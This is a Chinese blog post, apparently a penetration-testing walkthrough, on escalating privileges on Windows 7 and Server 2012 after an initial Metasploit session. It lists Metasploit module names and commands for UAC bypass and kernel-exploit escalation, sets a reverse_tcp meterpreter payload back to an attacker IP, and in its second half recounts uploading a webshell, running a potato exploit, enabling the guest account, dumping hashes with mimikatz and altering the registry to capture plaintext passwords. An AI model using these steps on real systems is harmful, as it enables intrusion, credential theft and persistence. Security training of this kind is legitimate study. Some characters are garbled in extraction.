MSF内网渗透系列2-权限提升

MSF内网渗透系列2-权限提升,第1张

在上篇文章中,通过win7运行msf.exe,kali接收到一个session,但这个session权限只是普通权限,无法做更多的 *** 作。

权限提升

1.提高程序运行级别

2.UAC绕过

3.利用提权漏洞进行提权

提高程序运行级别

msf模块>exploit/windows/local/ask

但会触发UAC,只有当用户同意是才能获得更高权限

可以看到session 5只是普通权限,这时候利用ask模块进行提权,该模块需要设置要用来提权的session,以及启动程序的名称

ask模块设置完成后,就可以使用了,运行exploit,回到win7,可以看见d出一个execl.exe程序框,如果你点击是,则kali会获得一个新的session,如果点击否,则kali会得到失败信息。

Win7 截图:

win7 点击 否,kali返回信息:

win7 点击 是,kali获取到新的session

使用background退出这个meterpreter

使用sessions,查看session

使用sessions -i 6,进入新获取的session

使用getuid查看该session权限

发现还是普通权限

这时候使用getsystem,获得系统权限

再使用getuid查看

UAC绕过

msf模块

exploit/windows/local/bypassuac

exploit/windows/local/bypassuac_injection

exploit/windows/local/bypassuac_vbs

这里使用第一个模块进行绕过UAC提权

利用提权漏洞进行提权

exploit/windows/local/ms14_058_track_popup_menu

等等

这里使用

exploit/windows/local/ms16_014_wmi_recv_notif

这个模块,同样使用info和show options查看信息,只需要设置一个session就可以使用

攻击成功会直接返回一个shell,使用whoami查看权限

成功提权

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的 *** 作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限 *** 作,这个时候就需要bypass uac

开始提权

getsystem

提权失败   一般都是上面说的uac的问题  常识  bypass uac

输入background   让该会话在后台运行  不在这个模式下 没办法调用msf的提权模块

使用提权工具

set SESSION 2(这个session要和之前监听的那个session一样  否则不成功)

set TECHNIQUE up.exe

set TECHNIQUE EXE

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.107

show options

sessions -i

exploit

或者使用

use post/windows/gather/enum_patches

需要设置一下session

如果目标系统安装了安全更新的话是无法提权成功的

出现这种情况就是无法成功提权  可利用的漏洞都被打上补丁了

或者漏洞编号:ms11-080

windows 7、8、08、12、16下可以成功  2003也可以

关于sc命令:

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务

然后执行

sc start systcmd,就得到了一个system权限的cmd环境

大多数碰到的都是Serverv 2008,这次遇到Server 2012来学习一下提权。网上有相关的文章。但,实践才是真理不是吗?

在通过文件上传webshell之后开始提权。

先收集一下信息

信息为:IIS权限、无杀毒、内网(能上外网)、内网开放3389

选择使用上传msf马来反dshell。

参考我之前的一篇文章

geshell后的进一步利用

上传msf马直接反d。

选择Windows-Exploit-Suggeste提权辅助工具

Windows-Exploit-Suggeste

命令很简单

可以看到可能存在ms16-075漏洞。试试吧

上传ms16-075邪恶土豆potato.exe至靶机

果然没有杀毒就是爽

激活guest用户

mimikatz读取hash时,无法以明文显示。

后翻看资料才知道Server 2012

默认情况下是禁用了在内存缓存中存储系统用户明文密码,此时使用mimikatz去抓取密码,会显示null。

抓取windows server 2012明文密码

只会修改注册表等待管理员重启啦


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/6686509.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-26
下一篇 2023-03-26

发表评论

登录后才能评论

评论列表(0条)

保存